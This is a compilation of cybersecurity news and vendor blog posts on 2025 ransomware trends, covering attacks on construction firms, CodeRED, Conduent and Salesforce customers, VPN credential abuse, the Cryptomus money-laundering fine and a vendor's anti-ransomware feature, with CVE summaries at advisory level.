To adapt to this evolving threat landscape, organizations must move beyond reactive crisis management and embrace a proactive, intelligence-driven defense strategy. Continuous dark web monitoring, early breach detection, and the integration of cyber threat intelligence into response workflows are now essential. In a world where stolen data functions as a tradable commodity, resilience depends not on negotiation but on vigilance, preparedness, and rapid action.

As we close out 2025, one thing is clear: the security landscape is evolving faster than most organizations can keep up. From surging ransomware campaigns and AI-enhanced phishing to data extortion, geopolitical fallout, and gaps in cyber readiness, the challenges facing security teams today are as varied as they are relentless. But with complexity comes clarity and insight.

This year’s most significant breaches, breakthroughs, and behavioral shifts provide a critical lens through which we can view what’s next. That’s exactly what we’ll explore in our upcoming Security Predictions for 2026 webinar, where Rapid7’s experts will break down where we are now, what to expect next, and how organizations can proactively adapt.

Before we look ahead, let’s take stock of what defined 2025 and what it tells us about the state of cybersecurity today.

Ransomware: Same playbook, more precision

Ransomware remains one of the most consistent and costly threats facing organisations today, but the approach has shifted. According to Rapid7’s Q3 2025 Threat Landscape Report, data extortion continues to dominate, with groups increasingly focused on exfiltration and disruption rather than encryption alone. Over 80% of ransomware cases handled in Q3 involved data theft, often staged and timed to maximise leverage.

Threat actors like RansomHub, BlackSuit, NoEscape, and Scattered Spider continue to refine their operations. Many campaigns are multi-stage and collaborative, with Initial Access Brokers providing footholds that are later sold to ransomware operators. One common thread is a focus on identity and infrastructure abuse - attackers are compromising vSphere environments, exploiting misconfigurations in third-party platforms, and abusing legitimate remote access tools to move laterally before launching extortion phases.

These incidents increasingly target complex organizations with sprawling digital footprints. The result? Weeks of operational downtime, lost revenue, regulatory scrutiny, and enduring brand damage. In this landscape, ransomware is no longer just a malware problem - it’s a business continuity issue, a supply chain risk, and a board-level concern.

The offense is automated: AI goes to work

This year, we saw AI break through hype and land firmly in attackers' toolkits. Tools like WormGPT, FraudGPT, and DarkBERT gave cybercriminals an entry point to generate convincing phishing emails, polymorphic malware, and credential-harvesting scripts, all without needing advanced coding skills.

In our AI Offense blog, we detailed how these tools lower the barrier to entry and amplify the volume and sophistication of social engineering campaigns. Pair that with deepfakes, cloned voices, and LLM-powered targeting, and security teams now face threats that are faster, cheaper, and harder to detect than ever before.

The takeaway? AI is not a future threat. It is here. And defenders must embrace its potential just as aggressively as attackers have.

The human factor: Still the weakest link

Despite improved tooling, attacker playbooks still rely heavily on people. Our recent exploration of evolving social engineering trends highlighted the rise of Microsoft Teams-based impersonation, remote access tool abuse such as Quick Assist, and multi-stage credential compromise.

The fallout has been widespread. From attacks on major UK retailers to multiple airline disruptions and critical public sector breaches, social engineering is no longer just email phishing. It is phone calls, voice cloning, fake calendars, and chat-based manipulation.

Training helps. But attackers are innovating faster than awareness campaigns can keep up. Security teams need to simulate these threats internally and invest in visibility across identity platforms, because credentials remain the crown jewels.

From awareness to action: Resilience as a mandate

A growing number of incidents in 2025 underscored the readiness gap in many organizations. Our recent blog on preparedness broke down the UK’s National Cyber Security Centre guidance urging companies to revisit their offline contingency planning, including printed IR protocols and analog communications in case digital systems are taken offline.

This call followed a sharp rise in high-impact events, with over 200 nationally significant cyber incidents recorded in the UK alone this year.

The lesson? Cyber resilience is not a nice to have. It is foundational. Detection, backup, and patching are essential, but so is building response plans that assume failure, simulate outages, and bring the entire business to the table.

Join us: Predicting what’s next in 2026

We’ll explore these trends and where they’re heading in much greater depth in our Security Predictions for 2026 webinar, taking place on December 10.

Rapid7’s experts will unpack:

• Which attacker tactics are here to stay and which are on the rise

• Where AI, regulation, and infrastructure gaps are creating new exposures

• How defenders can better prioritise risk and operate in resource-constrained environments

• What CISOs, SOC leaders, and engineers need to align on in 2026 to stay ahead

This is our biggest global webinar of the year, and it is designed to help security professionals at every level get proactive and stay ahead of what’s next.

Register now and join thousands of security professionals from around the world as we set the stage for 2026. Because when the threat landscape keeps shifting, your best defense is a head start.

In this second installment of our two-part series on the construction industry, Rapid7 is looking at the specific threat ransomware poses, why the industry is particularly vulnerable, and ways in which threat actors exploit its weaknesses to great effect. You can catch up on the first part here: Initial Access, Supply Chain, and the Internet of Things.

Ransomware and the construction industry 

The construction sector is increasingly vulnerable to ransomware attacks in 2025 due to its complex ecosystem and distinctive operational challenges. Construction projects typically involve a web of contractors, subcontractors, suppliers, and consultants, collaborating through shared digital platforms and exchanging sensitive documents such as blueprints, contracts, and timelines. 

While essential for project delivery, this interconnectedness creates numerous digital entry points that attackers can exploit, mainly as many firms rely on outdated software and insufficient cybersecurity protocols. Adding to the challenge, construction companies often operate under tight deadlines and financial constraints, leaving little room for prolonged IT outages or data recovery efforts. 

Ransomware attackers take advantage of this urgency, knowing that even short disruptions can halt entire job sites, delay multimillion-dollar projects, and damage reputations, making companies more likely to pay ransoms quickly.

Compounding the problem, many construction organizations lack dedicated cybersecurity staff and robust employee training, making them susceptible to phishing, weak passwords, and other basic attack vectors, as we talked about in part one of this series. The sector’s dependency on third-party vendors, who may have weaker security, amplifies the risk by widening the potential attack surface. 

Together, these factors make it difficult for construction firms to detect, prevent, and recover from ransomware incidents, leaving the industry facing financial losses, operational chaos, legal consequences, and growing pressure to modernize its approach to digital security.

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Monthly comparison of ransomware attacks against the construction industry 2024 vs. 2025

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The construction industry is ranked among the top 3 most attacked sectors in 2025.

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Top 10 targeted sectors in 2025

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The majority of attacks are against companies in the United States, followed by Canada, the United Kingdom, and Germany. 

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Top 10 targeted countries in the construction industry in 2025

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In 2025, the ransomware groups that targeted construction companies most frequently were Play, Akira, Qilin (AKA Agenda), SafePay, RansomHub, Lynx, DragonForce, Medusa, WorldLeaks, and INC Ransom. Notably, RansomHub is no longer active in its original form.    

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Top ransomware groups targeting the construction industry in 2025

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Why the construction sector is attractive to ransomware groups

The reasons why ransomware groups have zeroed in on this sector are diverse and include the following:

High-value, time-sensitive projects

Construction projects are high-stakes endeavors, often involving multi-million (or even billion) dollar budgets and strict delivery deadlines. Even a brief disruption, whether caused by ransomware, data breaches, or system outages, can lead to costly project delays and penalties. Attackers know this, and they exploit the sector’s reliance on tight timelines to extort higher ransoms, banking on the urgency to restore operations.

Complex, interconnected supply chains

Few industries are as dependent on an intricate web of subcontractors, vendors, and service providers. Each connection in this sprawling supply chain presents a potential vulnerability. A compromised partner can serve as a gateway for attackers, enabling threats like supply chain attacks and lateral movement across multiple organizations. Securing every link is a significant challenge, especially when third-party cybersecurity practices vary widely.

Low cybersecurity maturity

While sectors like finance and healthcare have long invested in cybersecurity, many construction firms are only beginning their journey. Legacy systems, limited IT budgets, and a traditional focus on physical rather than digital risks have left gaps in defenses. As a result, attackers often find weaker security controls, outdated software, and unpatched systems, making this sector a prime target.

Accelerated digitalization and IoT adoption

Adopting cloud platforms, Building Information Modeling (BIM), IoT sensors, and smart machinery is revolutionizing project management and delivery. However, each new digital innovation adds to the attack surface. IoT devices, in particular, often lack robust security controls, providing attackers with novel entry points that are difficult to monitor and defend.

Exposure of sensitive intellectual property

Construction firms handle more than just blueprints. Proprietary architectural designs, bid documents, financial plans, and sensitive client data are all highly valuable and highly sought after by cybercriminals. The theft or exposure of this information can have devastating consequences, from reputational damage and loss of competitive advantage to implications for critical infrastructure and national security.

Commonly exploited vulnerabilities

Commonly exploited vulnerabilities by the above-mentioned ransomware groups include:

• CVE-2025-31324 - The SAP NetWeaver Visual Composer file upload flaw. It enables unauthenticated threat actors to send specially crafted POST requests to the /developmentserver/metadatauploader endpoint, leading to unrestricted malicious file upload and full system compromise.

• CVE-2024-21887 - The Ivanti Connect Secure and Policy Secure command injection flaw enables authenticated administrators to execute arbitrary commands on the appliances by sending specially crafted requests.

• CVE-2024-21762 is a Fortinet FortiOS out-of-bounds write flaw that allows threat actors to gain super-admin privileges, bypassing the authentication mechanism, leading to remote code execution (RCE).

• CVE-2024-55591 - The Fortinet FortiOS and FortiProxy authentication bypass flaw enables threat actors to remotely gain super-admin privileges by making malicious requests to the Node.js websocket module. Attackers were observed leveraging the flaw to create randomly generated admin or local users and add them to existing SSL VPN user groups or newly created ones. In addition, they add or modify firewall policies and other settings and log into the SSL VPN using these rogue accounts to allow network tunneling.

• CVE-2024-40711 - The Veeam Backup and Replication deserialization flaw allows unauthenticated threat actors to initiate RCE.

• CVE-2024-40766 - The SonicWall SonicOS and SSLVPN improper access control flaw. It enables unauthorized threat actors to access resources and, under certain conditions, cause firewall crashes.   

What to do next

In 2025, the construction industry faces unprecedented digital opportunities and rising cyber risk. IoT, BIM, and cloud platforms have boosted efficiency but expanded attack surfaces, making firms vulnerable to ransomware, supply chain breaches, and IP theft. These risks, driven by fragmented supply chains, legacy systems, human error, and insecure devices, are systemic, not isolated. Cybersecurity must now be treated as a core pillar of project management, equal to safety, cost, and schedule, requiring board-level commitment and industry-wide collaboration.

To build resilience, firms should modernize legacy systems, secure supply chains, protect connected devices, and train all staff in cyber defense. Proactive measures like risk assessments, secure-by-design technologies, unified frameworks, and incident response playbooks must replace piecemeal defenses. By embedding security into daily operations and culture, the industry can turn cyber resilience into a competitive advantage, ensuring that innovation and protection move together to secure construction’s future.

The Q3 2025 Threat Landscape Report, authored by the Rapid7 Labs team, paints a clear picture of an environment where attackers are moving faster, working smarter, and using artificial intelligence to stay ahead of defenders. The findings reveal a threat landscape defined by speed, coordination, and innovation.⠀

The quarter showed how quickly exploitation now follows disclosure: Rapid7 observed newly reported vulnerabilities weaponized within days, if not hours, leaving organizations little time to patch before attackers struck. Critical business platforms and third-party integrations were frequent targets, as adversaries sought direct paths to disruption. Ransomware remained a most visible threat, but the nature of these operations continued to evolve.

Groups such as Qilin, Akira, and INC Ransom drove much of the activity, while others went quiet, rebranded, or merged into larger collectives. The overall number of active groups increased compared to the previous quarter, signaling renewed energy across the ransomware economy. Business services, manufacturing, and healthcare organizations were the most affected, with the majority of incidents occurring in North America.

Many newer actors opted for stealth, limiting public exposure by leaking fewer victim details, opting for “information-lite” screenshots in an effort to thwart law enforcement. Some established groups built alliances and shared infrastructure to expand reach such as Qilin extending its influence through partnerships with DragonForce and LockBit. Meanwhile, SafePay gained ground by running a fully in-house, hands-on model avoiding inter-party duelling and law enforcement. These trends show how ransomware has matured into a complex, service-based ecosystem.

Nation-state operations in Q3 favored persistence and stealth over disruption. Russian, Chinese, Iranian, and North Korean-linked groups maintained long-running campaigns. Many targeted identity systems, telecom networks, and supply chains. Rapid7’s telemetry showed these actors shrinking the window between disclosure and exploitation and relying on legitimate synchronization processes to remain hidden for months. The result: attacks that are harder to spot and even harder to contain.

Threat actors are fully operationalizing AI to enhance deception, automate intrusions, and evade detection. Generative tools now power realistic phishing, deepfake vishing, influence operations, and adaptive malware like LAMEHUG. This means the theoretical risk of AI has been fully operationalized. Defenders must now assume attackers are using these tools and techniques against them and not just supposing they are. 

This is but a taste of the valuable threat information the report has to offer. In addition to deeper dives on the subjects above, the threat report includes analysis of some of the most common compromise vectors, new vulnerabilities and existing ones still favored by attackers, and, of course, our recommendations to safeguard against compromises across your entire attack surface. 

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Want to learn more? Click here to download the report. 

Crisis24’s OnSolve CodeRED emergency alert system has been disrupted by a cyberattack, leaving local governments throughout the U.S. searching for alternatives or waiting for a new system to come online. The INC ransomware group has claimed responsibility for the attack. Some personal data of users may have been exposed in the attack, including names, addresses, email addresses, phone numbers, and passwords, and users have been urged to change passwords for other accounts if the same password is used. Crisis24 is launching a new secure CodeRED System that was already in development, and local governments had varying reactions to the crisis.

New CodeRED Emergency Alert System Expected Soon

Several U.S. local governments issued statements after the attack, updating residents on the CodeRED system’s status and their plans. The City of University Park, Texas, said Crisis24 is launching a new CodeRED System, which was already in the works. “Our provider assures us that the new CodeRED platform resides on a non-compromised, separate environment and that they completed a comprehensive security audit and engaged external experts for additional penetration testing and hardening,” the city said in its statement. “The provider decommissioned the OnSolve CodeRED platform and is the process of moving all customers to its new CodeRED platform.” Craven County Emergency Services in North Carolina said the new CodeRED platform “will be available before November 28.” In the meantime, Craven County said announcements and alerts will continue to be released through local media, the Craven County website, or on Craven County’s social media accounts. The Douglas County Sheriff's Office in Colorado said on Nov. 24 that it took “immediate action to terminate our contract with CodeRED for cause. Our top priority is the privacy and protection of our citizens, which led to the decision to end our agreement with CodeRED.” The Sheriff’s Office said it “is actively searching for a replacement for the CodeRED platform.” The office said it still has the ability to issue “IPAWS” alerts to citizens when necessary, and “will continue to implement various contingency plans, including outreach through social media and door-to-door notifications, to ensure our community stays informed during emergency situations.”

INC Ransom Claims Responsibility for CodeRED Attack

The INC Ransom group claimed responsibility for the CodeRED emergency alert system attack on its dark web data leak site. The threat actors say they obtained initial access on Nov. 1, followed by network encryption on Nov. 10. The group claims to have exfiltrated approximately 1.15 TB before deploying encryption. To substantiate their claims, INC Ransom has published several data samples, including csv files with client-related data, threat intelligence company Cyble reported in a note to clients. Additionally, the group released two screenshots allegedly showing negotiation attempts, where the company purportedly offered as much as USD $150,000, an amount the attackers claim they refused.

Compromised VPN credentials are the most common initial access vector for ransomware attacks, according to a new report. Nearly half of ransomware attacks in the third quarter abused compromised VPN credentials as the initial access point, according to research from Beazley Security, the cybersecurity arm of Beazley Insurance. Nearly a quarter of initial access attacks came from external service exploitation, while remote desktop service (RDS) credential compromises, supply chain attacks and social engineering accounted for 6% each (chart below). [caption id="attachment_106993" align="aligncenter" width="480"] Initial access vectors in ransomware attacks (Beazley Security)[/caption] “This trend underscores the importance of ensuring that multifactor authentication (MFA) is configured and protecting remote access solutions and that security teams maintain awareness and compensating controls for any accounts where MFA exceptions have been put in place,” the report said. In addition to the critical need for MFA, the report also underscores the importance of dark web monitoring for leaked credentials, which are often a precursor to much bigger cyberattacks.

SonicWall Compromises Led Attacks on VPN Credentials

A “prolonged campaign” targeting SonicWall devices by the Akira ransomware group was responsible for some of the 10-point increase in the percentage of VPN attacks. “Adding to SonicWall’s misery this quarter was a significant breach of their cloud service, including sensitive configuration backups of client SonicWall devices,” the report added. Akira, Qilin and INC were by far the most active ransomware groups in the third quarter, Beazley said – and all three exploit VPN and remote desktop credentials. Akira “typically gains initial access by exploiting weaknesses in VPN appliances and remote services,” the report said. In the third quarter, they used credential stuffing and brute force attacks to target unpatched systems and weak credentials. Akira accounted for 39% of Beazley Security incident response cases in the third quarter. Akira “consistently gained access by using valid credentials in credential stuffing attacks against SonicWall SSLVPN services, exploiting weak access controls such as absent MFA and insufficient lockout policies on the device,” the report said. Qilin’s initial access techniques include phishing emails, malicious attachments, and brute forcing weak credentials or stolen credentials in remote desktop protocol (RDP) and VPN services. INC Ransomware uses a combination of phishing, credential theft, and exploitation of exposed enterprise appliances for initial access. “Beazley Security responders observed the group leverage valid, compromised credentials to access victim environments via VPN and Remote Desktop,” the report said.

Cisco, Citrix Vulnerabilities, SEO Poisoning Also Exploited

Critical vulnerabilities in Cisco and Citrix NetScaler were also targeted by attackers in the third quarter. In one campaign, a sophisticated threat actor leveraged CVE-2025-20333 and CVE-2025-20363 in Cisco ASA VPN components to gain unauthorized access into environments, Beazley said. Another campaign targeted a critical SNMP flaw (CVE-2025-20352) in Cisco IOS.‍ Threat actors also targeted Citrix NetScaler vulnerabilities CVE-2025-7775 and CVE-2025-5777. The latter has been dubbed “Citrix Bleed 2” because of similarities to 2023’s “Citrix Bleed” vulnerability (CVE-2023-4966). A “smaller yet noteworthy subset” of ransomware attacks gained access via search engine optimization (SEO) poisoning attacks and malicious advertisements, used for initial access in some Rhysida ransomware attacks. “This technique places threat actor-controlled websites at the top of otherwise trusted search results, tricking users into downloading fake productivity and administrative tools such as PDF editors,” the report said. “These tools can be trojanized with various malware payloads, depending on threat actor objectives, and can potentially give threat actors a foothold directly on the endpoint in a network. The attack is effective because it bypasses other traditional social engineering protections like email filters that prevent phishing attacks.”

Imagine this scenario: Your protection software is running perfectly. Systems are protected, definitions are up to date, behavioral analysis is active. Then, suddenly, files across your network start getting encrypted. Backups are being deleted. Ransom notes appear across your machines. Your security software shows nothing. No alerts, no detections, no blocked processes. How is this possible? 

This isn’t a hypothetical situation. It’s a real attack technique that ransomware operators are actively using to bypass even sophisticated protection systems. The attack exploits a fundamental assumption in how security software operates: that the malicious process and the files being attacked are on the same machine. When that assumption breaks down, traditional defenses fail. 

Malwarebytes ransomware protection works through multiple defensive layers. These include AI-based analysis, machine learning models, signature detection, runtime sandboxing, exploit mitigation, and web protection. Each layer stops threats at different stages. The Anti-Ransomware behavioral layer monitors actual file encryption behavior in real time. Malwarebytes continuously enhances all layers of its defense.  

This article discusses a recent innovation in our Anti-Ransomware behavioral monitoring technology. The result is a comprehensive enhancement incorporating innovations in file monitoring, network session tracking, behavioral analysis, and real-time threat correlation. 

Why traditional protection fails 

To understand why a ransomware attack over a network is so effective, we need to understand how this technology typically works. The Anti-Ransomware component sits between applications and the file system, allowing it to see every file operation before it completes. 

When a process tries to open, read, or write a file, specialized callbacks are triggered. Think of these as security checkpoints where the security driver can inspect what’s happening and decide whether to allow the operation. The software looks at patterns: Is this process rapidly encrypting many files? Is it adding suspicious extensions? Is it attempting to delete backup Copies? These behavioral indicators, when combined, signal ransomware. 

This architecture works brilliantly when the ransomware process and the files being encrypted are on the same machine. The driver sees the process, tracks its behavior over time, builds a threat profile, and can block it before significant damage occurs. 

But what happens when ransomware runs on one device and attacks files on another? For example, an attacker compromises an unprotected device, a legacy device without current protection or an unmanaged guest device, and uses it to encrypt files on protected systems through network shares. Your machine doesn’t see any suspicious programs running. It just looks like someone is accessing files over the network, which happens all the time. 

This creates a perfect hiding spot for ransomware. On the attacking device, there might be no security software installed. On your main PC where files are being encrypted, the security software sees files changing but can’t tell which program is causing it. The connection between the malicious program and your files is hidden. 

Multiple ransomware variants have adopted this technique. They use specific commands to target network folders and shared drives. These aren’t random attacks. They’re carefully designed to bypass security software through remote encryption 

These aren’t opportunistic attacks. They’re carefully engineered for bypassing traditional anti-ransomware protection through remote encryption. 

Two-part protection architecture 

Solving this problem required addressing two distinct attack vectors. Part 1 involves a local process attacking remote files, while Part 2 involves a remote process attacking local files. Each required different technical approaches. 

Part 1: Detecting local to remote attacks 

When a program tries to access files on your network or shared folders, Malwarebytes checks if it’s behaving suspiciously. If the program is rapidly changing many files and creating ransom notes, the system builds a threat score in real time. 

The key innovation is that Malwarebytes tracks local and network activity separately. A program might be safely working with files on your computer while attacking files on another device through the network. By monitoring both, we can catch ransomware without false alarms. When Malwarebytes detects ransomware behavior, it blocks the malicious program immediately, stopping the attack before your files are encrypted. 

Part 2: Detecting remote to local attacks 

The second challenge is harder: what if the ransomware is running on another device and attacking your files remotely? There’s no malicious program on your computer to block. 

Our solution tracks network connections. When files are accessed from another device on your network, Windows keeps information about which device is connecting. Malwarebytes captures this information and watches for suspicious behavior, like rapidly changing many files, adding suspicious file extensions, or creating ransom notes. When we detect an attack coming from another device, we block that specific connection from accessing your files. 

Innovation in ransomware protection 

Our implementation operates through our specialized components. This architecture is essential for both performance and security. Every file operation goes through our filter, so we need to process decisions in microseconds to avoid impacting system responsiveness. 

We implemented multiple optimization layers. First, we filter out file operations that categorically cannot be ransomware related. Opening a file for read only access is not a threat, so we skip detailed analysis. Operations that only query metadata happen constantly in Windows and can be safely ignored for ransomware detection purposes. 

For operations that require analysis, we implemented a sophisticated indicator time-to-live (TTL) system. Behavioral indicators decay over time. This prevents false positives from legitimate activities like file synchronization tools or backup software. 

The network session tracking component required deep integration with Windows networking. We extract session information by accessing internal structures that Windows uses for network file serving. Our exclusion system supports IPv4, IPv6, hostnames, and CIDR notation for network ranges. 

What makes this protection different 

Several factors distinguish the Malwarebytes approach from other solutions.

The first is comprehensiveness. Many security vendors address this partially. Remote processes attacking local files or where local processes attack remote files. An attacker who compromises a single endpoint can still encrypt the shared resources. Malwarebytes protects against both vectors. 

Second is precision. Many solutions block entire network connections or lock accounts when they detect threats. Malwarebytes is more precise. We block only the specific malicious connection. Other activities from the same device continue working normally. Only the ransomware’s access is stopped. 

Third is performance. Malwarebytes runs efficiently without slowing down your computer. 

Fourth is proven protection. This technology has been tested and deployed across many different business and home networks. It is proven to work in real world situations. 

The broader implications 

This protection does more than just stop one type of ransomware attack. It represents a new way of thinking about network-aware security. The old approach treated each device separately, but that doesn’t work when attackers use network connections to spread threats. Security solutions need to understand that attacks can come from any device on the network and target any accessible files. 

The technology we’ve built can do more than stop ransomware. The same system that tracks network connections and monitors suspicious behavior can help detect other threats, like someone trying to steal your data or access files they shouldn’t have permission to view. 

Attackers will keep evolving their methods. The attacks we’re seeing now will become more sophisticated. They might try to disguise themselves as normal computer maintenance or file management. Our protection is designed to adapt. Because it watches for suspicious patterns of behavior rather than looking for specific known attacks, it can detect new variations without needing constant updates. 

Ransomware keeps evolving, and attackers constantly find new ways to bypass security. Malwarebytes is committed to staying ahead with real innovation. This enhancement closes a critical gap that many security programs don’t address until it’s too late. 

If you’re choosing security software or reviewing your current protection, ask yourself: Does it protect against ransomware that spreads through network shares? This is becoming increasingly important as more ransomware attacks use this technique. 

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We don’t just report on threats—we remove them

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Financial regulators in Canada this week levied $176 million in fines against Cryptomus, a digital payments platform that supports dozens of Russian cryptocurrency exchanges and websites hawking cybercrime services. The penalties for violating Canada’s anti money-laundering laws come ten months after KrebsOnSecurity noted that Cryptomus’s Vancouver street address was home to dozens of foreign currency dealers, money transfer businesses, and cryptocurrency exchanges — none of which were physically located there.

On October 16, the Financial Transactions and Reports Analysis Center of Canada (FINTRAC) imposed a $176,960,190 penalty on Xeltox Enterprises Ltd., more commonly known as the cryptocurrency payments platform Cryptomus.

FINTRAC found that Cryptomus failed to submit suspicious transaction reports in cases where there were reasonable grounds to suspect that they were related to the laundering of proceeds connected to trafficking in child sexual abuse material, fraud, ransomware payments and sanctions evasion.

“Given that numerous violations in this case were connected to trafficking in child sexual abuse material, fraud, ransomware payments and sanctions evasion, FINTRAC was compelled to take this unprecedented enforcement action,” said Sarah Paquet, director and CEO at the regulatory agency.

In December 2024, KrebsOnSecurity covered research by blockchain analyst and investigator Richard Sanders, who’d spent several months signing up for various cybercrime services, and then tracking where their customer funds go from there. The 122 services targeted in Sanders’s research all used Cryptomus, and included some of the more prominent businesses advertising on the cybercrime forums, such as:

-abuse-friendly or “bulletproof” hosting providers like anonvm[.]wtf, and PQHosting;
-sites selling aged email, financial, or social media accounts, such as verif[.]work and kopeechka[.]store;
-anonymity or “proxy” providers like crazyrdp[.]com and rdp[.]monster;
-anonymous SMS services, including anonsim[.]net and smsboss[.]pro.

Sanders found at least 56 cryptocurrency exchanges were using Cryptomus to process transactions, including financial entities with names like casher[.]su, grumbot[.]com, flymoney[.]biz, obama[.]ru and swop[.]is.

“These platforms were built for Russian speakers, and they each advertised the ability to anonymously swap one form of cryptocurrency for another,” the December 2024 story noted. “They also allowed the exchange of cryptocurrency for cash in accounts at some of Russia’s largest banks — nearly all of which are currently sanctioned by the United States and other western nations.”

Reached for comment on FINTRAC’s action, Sanders told KrebsOnSecurity he was surprised it took them so long.

“I have no idea why they don’t just sanction them or prosecute them,” Sanders said. “I’m not let down with the fine amount but it’s also just going to be the cost of doing business to them.”

The $173 million fine is a significant sum for FINTRAC, which imposed 23 such penalties last year totaling less than $26 million. But Sanders says FINTRAC still has much work to do in pursuing other shadowy money service businesses (MSBs) that are registered in Canada but are likely money laundering fronts for entities based in Russia and Iran.

In an investigation published in July 2024, CTV National News and the Investigative Journalism Foundation (IJF) documented dozens of cases across Canada where multiple MSBs are incorporated at the same address, often without the knowledge or consent of the location’s actual occupant.

Their inquiry found that the street address for Cryptomus parent Xeltox Enterprises was listed as the home of at least 76 foreign currency dealers, eight MSBs, and six cryptocurrency exchanges. At that address is a three-story building that used to be a bank and now houses a massage therapy clinic and a co-working space. But the news outlets found none of the MSBs or currency dealers were paying for services at that co-working space.

The reporters also found another collection of 97 MSBs clustered at an address for a commercial office suite in Ontario, even though there was no evidence any of these companies had ever arranged for any business services at that address.

This article follows our recent article on the source of cybercrime attacks – read it here – we’re now exploring the global, commercial, and political dimensions of digital warfare. Key takeaways $100 billion in global cyber damages annually – equivalent to the GDP of a mid-sized nation. $400 million in business impact from a single […]

The post Digital Warfare and the New Geopolitical Frontline appeared first on Heimdal Security Blog.

Ransomware victims paid an estimated $813 million in 2024. Nearly 40 percent of that may have gone to actors in Russia, China and North Korea, according to new analysis from cybersecurity firm Heimdal. Heimdal used recent telemetry, infrastructure tracing and ownership mapping to assess how ransomware revenue is likely distributed. The $813 million figure comes […]

The post Nearly 40% of 2024 Ransomware Payouts May Have Gone to Russia, China & North Korea appeared first on Heimdal Security Blog.

Update – October 30, 2025: New information confirms that Conduent’s 2024 breach has impacted over 10.5 million people, based on notifications filed with multiple state attorneys general. The largest disclosure came from the Oregon government, which reported a total of 10.5 million affected US residents. Additional notices listed 4 million in Texas, 76,000 in Washington, and several hundred in Maine.

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Even if you’ve never heard of Conduent, you could be one of the many people caught up in its recent data breach. Conduent provides technology services to several US state governments, including Medicaid, child support, and food programs, with the company stating that it “supports approximately 100 million US residents across various government health programs, helping state and federal agencies.”

In a breach notification, Conduent says:

“On January 13, 2025, we discovered that we were the victim of a cyber incident that impacted a limited portion of our network.”

An investigation found that an unauthorized third party had access to its systems from October 21, 2024, until the intrusion was stopped on discovery.

Breach notification letters will be sent to affected individuals, detailing what personal information was exposed. According to The Record, Conduent said more than 400,000 people in Texas were impacted, with data including Social Security numbers, medical information and health insurance details. Another 76,000 people in Washington, 48,000 in South Carolina, 10,000 in New Hampshire and 378 in Maine were also affected. Conduent has filed additional breach notices in Oregon, Massachusetts, California, and New Hampshire.

The stolen data sets may include:​

• Names
• Social Security numbers
• Dates of birth
• Medical information
• Health insurance details

If all of those apply, it’s certainly enough for criminals to commit identity theft.

Ransomware group SafePay reportedly claimed responsibility for the attack and listed Conduent on its leak site.

SafePay, which emerged in late 2024, threatened to publish or sell stolen data if its demands weren’t met, claiming to have exfiltrated a staggering 8.5 terabytes of files from Conduent’s systems. Though relatively new on the scene, SafePay has quickly built a reputation for large-scale extortion targeting high-profile clients globally.

Breaches like this reinforce the need for robust cybersecurity and incident response in the public sector. For the potentially millions of people affected, stay alert to fraud and identity theft.

Protecting yourself after a data breach

If you think you’ve been the victim of this or any other data breach, here are steps you can take to protect yourself:

• Check the vendor’s advice. Every breach is different, so check with the vendor to find out what’s happened and follow any specific advice it offers.
• Change your password. You can make a stolen password useless to thieves by changing it. Choose a strong password that you don’t use for anything else. Better yet, let a password manager choose one for you.
• Enable two-factor authentication (2FA). If you can, use a FIDO2-compliant hardware key, laptop, or phone as your second factor. Some forms of 2FA can be phished just as easily as a password, but 2FA that relies on a FIDO2 device can’t be phished.
• Watch out for fake vendors. The thieves may contact you posing as the vendor. Check the company’s website to see if it’s contacting victims and verify the identity of anyone who contacts you using a different communication channel.
• Take your time. Phishing attacks often impersonate people or brands you know, and use themes that require urgent attention, such as missed deliveries, account suspensions, and security alerts.
• Consider not storing your card details. It’s definitely more convenient to let sites remember your card details, but we highly recommend not storing that information on websites.
• Set up identity monitoring, which alerts you if your personal information is found being traded illegally online and helps you recover after.

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We don’t just report on threats – we help safeguard your entire digital identity

Cybersecurity risks should never spread beyond a headline. Protect your—and your family’s—personal information by using identity protection.

Researched and written by Heimdal founder Morten Kjaersgaard, this article exposes how even limited cooperation between registry bodies and law enforcement could cripple ransomware networks and raise the cost for cybercriminals. This article serves as a wake-up call. Even limited cooperation between registry bodies and law enforcement could cripple ransomware networks and raise the cost […]

The post Where Ransomware Profits Go and How to Cut Them Off appeared first on Heimdal Security Blog.

A cybercriminal group that used voice phishing attacks to siphon more than a billion records from Salesforce customers earlier this year has launched a website that threatens to publish data stolen from dozens of Fortune 500 firms if they refuse to pay a ransom. The group also claimed responsibility for a recent breach involving Discord user data, and for stealing terabytes of sensitive files from thousands of customers of the enterprise software maker Red Hat.

In May 2025, a prolific and amorphous English-speaking cybercrime group known as ShinyHunters launched a social engineering campaign that used voice phishing to trick targets into connecting a malicious app to their organization’s Salesforce portal.

The first real details about the incident came in early June, when the Google Threat Intelligence Group (GTIG) warned that ShinyHunters — tracked by Google as UNC6040 — was extorting victims over their stolen Salesforce data, and that the group was poised to launch a data leak site to publicly shame victim companies into paying a ransom to keep their records private. A month later, Google acknowledged that one of its own corporate Salesforce instances was impacted in the voice phishing campaign.

Last week, a new victim shaming blog dubbed “Scattered LAPSUS$ Hunters” began publishing the names of companies that had customer Salesforce data stolen as a result of the May voice phishing campaign.

“Contact us to negotiate this ransom or all your customers data will be leaked,” the website stated in a message to Salesforce. “If we come to a resolution all individual extortions against your customers will be withdrawn from. Nobody else will have to pay us, if you pay, Salesforce, Inc.”

Below that message were more than three dozen entries for companies that allegedly had Salesforce data stolen, including Toyota, FedEx, Disney/Hulu, and UPS. The entries for each company specified the volume of stolen data available, as well as the date that the information was retrieved (the stated breach dates range between May and September 2025).

On October 5, the Scattered LAPSUS$ Hunters victim shaming and extortion blog announced that the group was responsible for a breach in September involving a GitLab server used by Red Hat that contained more than 28,000 Git code repositories, including more than 5,000 Customer Engagement Reports (CERs).

“Alot of folders have their client’s secrets such as artifactory access tokens, git tokens, azure, docker (redhat docker, azure containers, dockerhub), their client’s infrastructure details in the CERs like the audits that were done for them, and a whole LOT more, etc.,” the hackers claimed.

Their claims came several days after a previously unknown hacker group calling itself the Crimson Collective took credit for the Red Hat intrusion on Telegram.

Red Hat disclosed on October 2 that attackers had compromised a company GitLab server, and said it was in the process of notifying affected customers.

“The compromised GitLab instance housed consulting engagement data, which may include, for example, Red Hat’s project specifications, example code snippets, internal communications about consulting services, and limited forms of business contact information,” Red Hat wrote.

Separately, Discord has started emailing users affected by another breach claimed by ShinyHunters. Discord said an incident on September 20 at a “third-party customer service provider” impacted a “limited number of users” who communicated with Discord customer support or Trust & Safety teams. The information included Discord usernames, emails, IP address, the last four digits of any stored payment cards, and government ID images submitted during age verification appeals.

